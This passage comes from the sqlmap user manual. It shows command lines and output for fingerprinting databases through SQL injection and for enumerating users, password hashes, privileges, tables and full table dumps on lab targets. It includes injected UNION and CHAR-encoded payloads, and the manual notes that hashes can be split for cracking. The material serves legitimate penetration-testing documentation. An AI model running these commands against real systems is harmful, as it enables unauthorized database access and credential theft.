query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:11] [INFO] retrieved: 44 +[hh:mm:11] [INFO] performed 20 queries in 0 seconds +[hh:mm:11] [INFO] confirming MySQL +[hh:mm:11] [INFO] query: LENGTH(CHAR(52)) +[hh:mm:11] [INFO] retrieved: 1 +[hh:mm:11] [INFO] performed 13 queries in 0 seconds +[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:11] [INFO] retrieved: 4 +[hh:mm:11] [INFO] performed 13 queries in 0 seconds +[hh:mm:11] [INFO] query: DATABASE() +[hh:mm:11] [INFO] retrieved: test +[hh:mm:11] [INFO] performed 34 queries in 0 seconds +[hh:mm:11] [INFO] query: SCHEMA() +[hh:mm:11] [INFO] retrieved: test +[hh:mm:11] [INFO] performed 34 queries in 0 seconds +[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1 +[hh:mm:11] [INFO] retrieved: +[hh:mm:11] [INFO] performed 6 queries in 0 seconds +[hh:mm:11] [INFO] query: VERSION() +[hh:mm:11] [INFO] retrieved: 5.0.51a-3ubuntu5.2 +[hh:mm:12] [INFO] performed 132 queries in 0 seconds +[hh:mm:12] [INFO] executing MySQL comment injection fingerprint +back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1 + comment injection fingerprint: MySQL 5.0.51 + banner parsing fingerprint: MySQL 5.0.51 + html error message fingerprint: MySQL +[...] +</verb></tscreen> + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f -b + +[...] +[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL +[hh:mm:03] [INFO] testing Microsoft SQL Server +[hh:mm:03] [INFO] query: LTRIM(STR(LEN(3))) +[hh:mm:03] [INFO] retrieved: 1 +[hh:mm:03] [INFO] performed 13 queries in 0 seconds +[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1) +[hh:mm:03] [INFO] retrieved: 0 +[hh:mm:03] [INFO] performed 13 queries in 0 seconds +[hh:mm:03] [INFO] query: @@VERSION +[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86) + Aug 6 2000 00:57:48 + Copyright (c) 1988-2000 Microsoft Corporation + Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) + +[hh:mm:08] [INFO] performed 1308 queries in 4 seconds +back-end DBMS: active fingerprint: Microsoft SQL Server 2000 + banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0 + version 8.00.194 + html error message fingerprint: Microsoft SQL Server +</verb></tscreen> + +<p> +As you can see, from the Microsoft SQL Server banner, sqlmap was able to +correctly identify the database management system service pack. +The Microsoft SQL Server XML versions file is the result of a sqlmap +parsing library that fetches data from Chip Andrews' +<htmlurl url="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" +name="SQLSecurity.com site"> and outputs it to the XML versions file. + + +<sect1>Enumeration + +<sect2>Banner + +<p> +Option: <tt>-b</tt> or <tt>--banner</tt> + +<p> +Most of the modern database management systems have a function or an +environment variable which returns details on the database managemet +system version. Sometimes also the operating system where the daemon has +been compiled on, the operating system architecture, its service pack. +Usually this function is <tt>version()</tt> or the <tt>@@version</tt> +environment variable. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -b + +banner: '5.0.51a-3ubuntu5.2' +</verb></tscreen> + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b + +banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu +4.2.3-2ubuntu4)' +</verb></tscreen> + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b + +banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product' +</verb></tscreen> + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -b + +banner: +--- +Microsoft SQL Server 2000 - 8.00.194 (Intel X86) + Aug 6 2000 00:57:48 + Copyright (c) 1988-2000 Microsoft Corporation + Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) +--- +</verb></tscreen> + + +<sect2>Current user + +<p> +Option: <tt>--current-user</tt> + +<p> +It is possible to retrieve the database management system's user which is +effectively performing the query on the database from the web application. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --current-user + +current user: 'testuser@localhost' +</verb></tscreen> + + +<sect2>Current database + +<p> +Option: <tt>--current-db</tt> + +<p> +It is possible to retrieve the database management system's database the +web application is connected to. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --current-db + +current database: 'master' +</verb></tscreen> + + +<sect2>Users + +<p> +Option: <tt>--users</tt> + +<p> +It is possible to enumerate the list of database management system users. + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --users + +database management system users [3]: +[*] postgres +[*] testuser +[*] testuser2 +</verb></tscreen> + + +<sect2>Users password hashes + +<p> +Options: <tt>--passwords</tt> and <tt>-U</tt> + +<p> +It is possible to enumerate the password hashes for each database +management system user. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --passwords + +[*] debian-sys-maint [1]: + password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892 +[*] root [1]: + password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[*] testuser [1]: + password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 +</verb></tscreen> + +<p> +You can also provide the <tt>-U</tt> option to specify the user who you +want to enumerate the password hashes. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --passwords \ + -U sa + +database management system users password hashes: +[*] sa [1]: + password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f +ba9930b62ee5d506955 + header: 0x0100 + salt: 0e16d704 + mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3 + uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955 +</verb></tscreen> + +<p> +As you can see, when you enumerate password hashes on Microsoft SQL Server +sqlmap split the hash, useful if you want to crack it. + + +<sect2>Users privileges + +<p> +Options: <tt>--privileges</tt> and <tt>-U</tt> + +<p> +It is possible to enumerate the privileges for each database management +system user. + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --privileges + +[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS' +[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP' +database management system users privileges: +[*] CTXSYS [2]: + privilege: CTXAPP + privilege: RESOURCE +[*] DBSNMP [1]: + privilege: OEM_MONITOR +[*] FLOWS_020100 (administrator) [4]: + privilege: CONNECT + privilege: DBA + privilege: RESOURCE + privilege: SELECT_CATALOG_ROLE +[*] FLOWS_FILES [2]: + privilege: CONNECT + privilege: RESOURCE +[*] HR (administrator) [3]: + privilege: CONNECT + privilege: DBA + privilege: RESOURCE +[*] MDSYS [2]: + privilege: CONNECT + privilege: RESOURCE +[*] OUTLN [1]: + privilege: RESOURCE +[*] SYS (administrator) [22]: + privilege: AQ_ADMINISTRATOR_ROLE + privilege: AQ_USER_ROLE + privilege: AUTHENTICATEDUSER + privilege: CONNECT + privilege: CTXAPP + privilege: DBA + privilege: DELETE_CATALOG_ROLE + privilege: EXECUTE_CATALOG_ROLE + privilege: EXP_FULL_DATABASE + privilege: GATHER_SYSTEM_STATISTICS + privilege: HS_ADMIN_ROLE + privilege: IMP_FULL_DATABASE + privilege: LOGSTDBY_ADMINISTRATOR + privilege: OEM_ADVISOR + privilege: OEM_MONITOR + privilege: PLUSTRACE + privilege: RECOVERY_CATALOG_OWNER + privilege: RESOURCE + privilege: SCHEDULER_ADMIN + privilege: SELECT_CATALOG_ROLE + privilege: XDBADMIN + privilege: XDBWEBSERVICES +[*] SYSTEM (administrator) [2]: + privilege: AQ_ADMINISTRATOR_ROLE + privilege: DBA +[*] TSMSYS [1]: + privilege: RESOURCE +[*] XDB [2]: + privilege: CTXAPP + privilege: RESOURCE +</verb></tscreen> + +<p> +You can also provide the <tt>-U</tt> option to specify the user who you +want to enumerate the privileges. + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --privileges \ + -U postgres + +database management system users privileges: +[*] postgres (administrator) [3]: + privilege: catupd + privilege: createdb + privilege: super +</verb></tscreen> + +<p> +As you can see, depending on the user privileges, sqlmap identifies if the +user is a database management system administrator and show after the +username this information. + +<p> +Note that this feature is not available if the back-end database +management system is Microsoft SQL Server. + + +<sect2>Available databases + +<p> +Option: <tt>--dbs</tt> + +<p> +It is possible to enumerate the list of databases. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dbs + +available databases [6]: +[*] master +[*] model +[*] msdb +[*] Northwind +[*] pubs +[*] tempdb +</verb></tscreen> + +<p> +Note that this feature is not available if the back-end database +management system is Oracle. + +<sect2>Databases tables + +<p> +Options: <tt>--tables</tt> and <tt>-D</tt> + +<p> +It is possible to enumerate the list of tables for all database +manangement system's databases. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables + +Database: test +[1 table] ++---------------------------------------+ +| users | ++---------------------------------------+ + +Database: information_schema +[17 tables] ++---------------------------------------+ +| CHARACTER_SETS | +| COLLATION_CHARACTER_SET_APPLICABILITY | +| COLLATIONS | +| COLUMN_PRIVILEGES | +| COLUMNS | +| KEY_COLUMN_USAGE | +| PROFILING | +| ROUTINES | +| SCHEMA_PRIVILEGES | +| SCHEMATA | +| STATISTICS | +| TABLE_CONSTRAINTS | +| TABLE_PRIVILEGES | +| TABLES | +| TRIGGERS | +| USER_PRIVILEGES | +| VIEWS | ++---------------------------------------+ + +Database: mysql +[17 tables] ++---------------------------------------+ +| columns_priv | +| db | +| func | +| help_category | +| help_keyword | +| help_relation | +| help_topic | +| host | +| proc | +| procs_priv | +| tables_priv | +| time_zone | +| time_zone_leap_second | +| time_zone_name | +| time_zone_transition | +| time_zone_transition_type | +| user | ++---------------------------------------+ +</verb></tscreen> + +<p> +You can also provide the <tt>-D</tt> option to specify the database +that you want to enumerate the tables. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables \ + -D test + +Database: test +[1 table] ++---------------------------------------+ +| users | ++---------------------------------------+ +</verb></tscreen> + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --tables \ + -D users + +Database: USERS +[8 tables] ++-------------------+ +| DEPARTMENTS | +| EMPLOYEES | +| HTMLDB_PLAN_TABLE | +| JOB_HISTORY | +| JOBS | +| LOCATIONS | +| REGIONS | +| USERS | ++-------------------+ +</verb></tscreen> + +<p> +Note that on Oracle you have to provide the <tt>TABLESPACE_NAME</tt> +instead of the database name, in my example that is <tt>users</tt> to +retrieve all tables owned by an Oracle database management system +user. + + +<sect2>Database table columns + +<p> +Options: <tt>--columns</tt>, <tt>-T</tt> and <tt>-D</tt> + +<p> +It is possible to enumerate the list of columns for a specific database +table. +This functionality depends on both <tt>-T</tt> to specify the table name +and on <tt>-D</tt> to specify the database name. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --columns \ + -T users -D master + +Database: master +Table: users +[3 columns] ++---------+---------+ +| Column | Type | ++---------+---------+ +| id | int | +| name | varchar | +| surname | varchar | ++---------+---------+ +</verb></tscreen> + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --columns \ + -T users -D public + +Database: public +Table: users +[3 columns] ++---------+--------+ +| Column | Type | ++---------+--------+ +| id | int4 | +| name | bpchar | +| surname | bpchar | ++---------+--------+ +</verb></tscreen> + +<p> +Note that on PostgreSQL you have to provide <tt>public</tt> or the +name of a system database because it is not possible to enumerate other +databases tables, only the users' schema that the web application's user +is connected to, which is always <tt>public</tt>. + + +<sect2>Dump database tables entries + +<p> +Options: <tt>--dump</tt>, <tt>-C</tt>, <tt>-T</tt> and <tt>-D</tt> + +<p> +It is possible to dump the entries for a specific database table. +This functionality depends on both <tt>-T</tt> to specify the table name +and on <tt>-D</tt> to specify the database name. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \ + -T users -D test + +Database: test +Table: users +[5 entries] ++----+--------------------------------------------+-------------------+ +| id | name | surname | ++----+--------------------------------------------+-------------------+ +| 1 | luther | blissett | +| 2 | fluffy | bunny | +| 3 | wu | ming | +| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 5 | NULL | nameisnull | ++----+--------------------------------------------+-------------------+ +</verb></tscreen> + +<p> +You can also provide the <tt>-C</tt> option to specify the table column +that you want to enumerate the entries. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \ + -T users -D master -C surname + +Database: master +Table: users +[5 entries] ++-------------------+ +| surname | ++-------------------+ +| blisset | +| bunny | +| ming | +| nameisnull | +| user agent header | ++-------------------+ +</verb></tscreen> + +<p> +sqlmap also stores for each table the dumped entries in a CSV format file. +You can see the absolute path where it stored the dumped tables entries +by providing a verbosity level greater than or equal to 1. + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \ + -T users -D public -v 1 + +[...] +Database: public +Table: users +[5 entries] ++----+--------------------------------------------+-------------------+ +| id | name | surname | ++----+--------------------------------------------+-------------------+ +| 1 | luther | blissett | +| 2 | fluffy | bunny | +| 3 | wu | ming | +| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 5 | | nameisnull | ++----+--------------------------------------------+-------------------+ + +[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/ +192.168.1.121/dump/public/users.csv' +[hh:mm:59] [INFO] Fetched data logged to text files under '/software/sqlmap/output/ +192.168.1.121' + +$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv +"id","name","surname" +"1","luther","blissett" +"2","fluffy","bunny" +"3","wu","ming" +"4","sqlmap/0.6 (http://sqlmap.sourceforge.net)","user agent header" +"5","","nameisnull" +</verb></tscreen> + + +<sect2>Dump all databases tables entries + +<p> +Options: <tt>--dump-all</tt> and <tt>--exclude-sysdbs</tt> + +<p> +It is possible to dump all databases tables entries at once. + +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump-all + +Database: test +Table: users +[5 entries] ++----+--------------------------------------------+-------------------+ +| id | name | surname | ++----+--------------------------------------------+-------------------+ +| 1 | luther | blissett | +| 2 | fluffy | bunny | +| 3 | wu | ming | +| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 5 | NULL | nameisnull | ++----+--------------------------------------------+-------------------+ + +Database: information_schema +Table: CHARACTER_SETS +[36 entries] ++--------------------+----------------------+-----------------------------+--------+ +| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION | MAXLEN | ++--------------------+----------------------+-----------------------------+--------+ +| tis620 | tis620_thai_ci | TIS620 Thai | 1 | +| macroman | macroman_general_ci | Mac West European | 1 | +| dec8 | dec8_swedish_ci | DEC West European | 1 | +| ujis | ujis_japanese_ci | EUC-JP Japanese | 3 | +| eucjpms | eucjpms_japanese_ci | UJIS for Windows Japanese | 3 | +| armscii8 | armscii8_general_ci | ARMSCII-8 Armenian | 1 | +| ucs2 | ucs2_general_ci | UCS-2 Unicode | 2 | +| hp8 | hp8_english_ci | HP West European | 1 | +| latin2 | latin2_general_ci | ISO 8859-2 Central European | 1 | +| koi8u | koi8u_general_ci | KOI8-U Ukrainian | 1 | +| keybcs2 | keybcs2_general_ci | DOS Kamenicky Czech-Slovak | 1 | +| ascii | ascii_general_ci | US ASCII | 1 | +| cp866 | cp866_general_ci | DOS Russian | 1 | +| cp1256 | cp1256_general_ci | Windows Arabic | 1 | +| macce | macce_general_ci | Mac Central European | 1 | +| sjis | sjis_japanese_ci | Shift-JIS Japanese | 2 | +| geostd8 | geostd8_general_ci | GEOSTD8 Georgian | 1 | +| cp1257 | cp1257_general_ci | Windows Baltic | 1 | +| cp852 | cp852_general_ci | DOS Central European | 1 | +| euckr | euckr_korean_ci | EUC-KR Korean | 2 | +| cp1250 | cp1250_general_ci | Windows Central European | 1 | +| cp1251 | cp1251_general_ci | Windows Cyrillic | 1 | +| binary | binary | Binary pseudo charset | 1 | +| big5 | big5_chinese_ci | Big5 Traditional Chinese | 2 | +| gb2312 | gb2312_chinese_ci | GB2312 Simplified Chinese | 2 | +| hebrew | hebrew_general_ci | ISO 8859-8 Hebrew | 1 | +| koi8r | koi8r_general_ci | KOI8-R Relcom Russian | 1 | +| greek | greek_general_ci | ISO 8859-7 Greek | 1 | +| cp850 | cp850_general_ci | DOS West European | 1 | +| utf8 | utf8_general_ci | UTF-8 Unicode | 3 | +| latin1 | latin1_swedish_ci | cp1252 West European | 1 | +| latin7 | latin7_general_ci | ISO 8859-13 Baltic | 1 | +| cp932 | cp932_japanese_ci | SJIS for Windows Japanese | 2 | +| latin5 | latin5_turkish_ci | ISO 8859-9 Turkish | 1 | +| swe7 | swe7_swedish_ci | 7bit Swedish | 1 | +| gbk | gbk_chinese_ci | GBK Simplified Chinese | 2 | ++--------------------+----------------------+-----------------------------+--------+ + +[...] +</verb></tscreen> + +<p> +You can also provide the <tt>--exclude-sysdbs</tt> option to exclude all +system databases so that sqlmap will only dump entries of users' databases +tables. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \ + --exclude-sysdbs + +Database: master +Table: spt_datatype_info_ext +[10 entries] ++----------------+-----------------+-----------+-----------+ +| AUTO_INCREMENT | CREATE_PARAMS | typename | user_type | ++----------------+-----------------+-----------+-----------+ +| 0 | length | char | 175 | +| 0 | precision,scale | numeric | 108 | +| 0 | max length | varbinary | 165 | +| 0 | precision,scale | decimal | 106 | +| 1 | precision | numeric | 108 | +| 0 | length | nchar | 239 | +| 0 | max length | nvarchar | 231 | +| 0 | length | binary | 173 | +| 0 | max length | varchar | 167 | +| 1 | precision | decimal | 106 | ++----------------+-----------------+-----------+-----------+ + +[...] + +Database: master +Table: users +[5 entries] ++----+--------------------------------------------+-------------------+ +| id | name | surname | ++----+--------------------------------------------+-------------------+ +| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 2 | fluffy | bunny | +| 1 | luther | blisset | +| 3 | wu | ming | +| 5 | NULL | nameisnull | ++----+--------------------------------------------+-------------------+ + +[...] +</verb></tscreen> + +<p> +Note that on Microsoft SQL Server the <tt>master</tt> database is not +considered a system database because some database administrators use it +as a users' database. + + +<sect2>Run your own SQL SELECT statement + +<p> +Options: <tt>--sql-query</tt> and <tt>--sql-shell</tt> + +<p> +The SQL query and the SQL shell features makes the user able to run +whatever <tt>SELECT</tt> statement on the web application's back-end +database management system and retrieve its output. + +<p> +Examples on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ + "SELECT 'foo'" -v 1 + +[...] +[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' +[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), +(CHAR(32))) +[hh:mm:14] [INFO] retrieved: foo +[hh:mm:14] [INFO] performed 27 queries in 0 seconds +SELECT 'foo': 'foo' + +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ + "SELECT 'foo', 'bar'" -v 1 + +[...] +[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' +[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into +distinct queries to be able to retrieve the output even if we are going blind +[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), +(CHAR(32))) +[hh:mm:50] [INFO] retrieved: foo +[hh:mm:50] [INFO] performed 27 queries in 0 seconds +[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), +(CHAR(32))) +[hh:mm:50] [INFO] retrieved: bar +[hh:mm:50] [INFO] performed 27 queries in 0 seconds +SELECT 'foo', 'bar': 'foo, bar' +</verb></tscreen> + +<p> +As you can see from this last example, sqlmap splits the query in two +different <tt>SELECT</tt> statement to be able to retrieve the output even +in blind SQL injection technique. +Otherwise in inband SQL injection technique it only perform a single HTTP +request to get the user's query output: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ + "SELECT 'foo', 'bar'" -v 1 --union-use + +[...] +[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' +[hh:mm:03] [INFO] testing inband sql injection on parameter 'id' +[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability +[hh:mm:03] [INFO] confirming inband sql injection on parameter 'id' +[hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection +vulnerability +[hh:mm:03] [INFO] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+ +CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) ++(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+ +CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+ +CHAR(116)), NULL-- AND 8373=8373 +[hh:mm:03] [INFO] performed 3 queries in 0 seconds +SELECT 'foo', 'bar' [1]: +[*] foo, bar +</verb></tscreen> + +<p> +Examples on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --sql-query \ + "SELECT 'foo' FROM dual" + +[hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n +SELECT 'foo' FROM dual: 'foo' +</verb></tscreen> + +<p> +As you can see, if your <tt>SELECT</tt> statement contains a <tt>FROM</tt> +clause, sqlmap asks the user if such statement can return multiple entries +and in such case the tool knows how to unpack the query correctly to +retrieve its whole output line per line. + +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-query \ + "SELECT usename FROM pg_user" + +[hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y +[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries +do you want to retrieve? +[a] All (default) +[#] Specific number +[q] Quit +Choice: 2 +SELECT usename FROM pg_user [2]: +[*] postgres +[*] testuser +</verb></tscreen> + +<p> +As you can see, in the last example sqlmap counts the number of entries +for your query and asks how many entries from the top you want to dump. +Otherwise if you specify also the <tt>LIMIT</tt>, or similar, clause +sqlmap will not ask anything, just unpack the query and return its +output. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \ + "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1 + +[...] +back-end DBMS: MySQL >= 5.0.0 + +[hh:mm:11] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM +mysql.user LIMIT 1, 3' +[hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack +it into distinct queries to be able to retrieve the output even if we are going blind +[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 1, 1 +[hh:mm:12] [INFO] retrieved: root +[hh:mm:12] [INFO] performed 34 queries in 0 seconds +[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 1, 1 +[hh:mm:12] [INFO] retrieved: localhost +[hh:mm:12] [INFO] performed 69 queries in 0 seconds +[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 1, 1 +[hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[hh:mm:13] [INFO] performed 293 queries in 0 seconds +[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 2, 1 +[hh:mm:13] [INFO] retrieved: root +[hh:mm:13] [INFO] performed 34 queries in 0 seconds +[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 2, 1 +[hh:mm:13] [INFO] retrieved: leboyer +[hh:mm:13] [INFO] performed 55 queries in 0 seconds +[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 2, 1 +[hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[hh:mm:14] [INFO] performed 293 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 3, 1 +[hh:mm:14] [INFO] retrieved: root +[hh:mm:14] [INFO] performed 34 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 3, 1 +[hh:mm:14] [INFO] retrieved: 127.0.0.1 +[hh:mm:14] [INFO] performed 69 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 3, 1 +[hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[hh:mm:15] [INFO] performed 293 queries in 0 seconds +SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]: +[*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[*] root, 127.0.0.1, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +</verb></tscreen> + +<p> +The SQL shell option gives you access to run your own SQL <tt>SELECT</tt> +statement interactively, like a SQL console logged into the back-end +database management system. +This feature has TAB completion and history support. + +<p> +Example of history support on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell + +sql> SELECT 'foo' +SELECT 'foo': 'foo' + +sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the 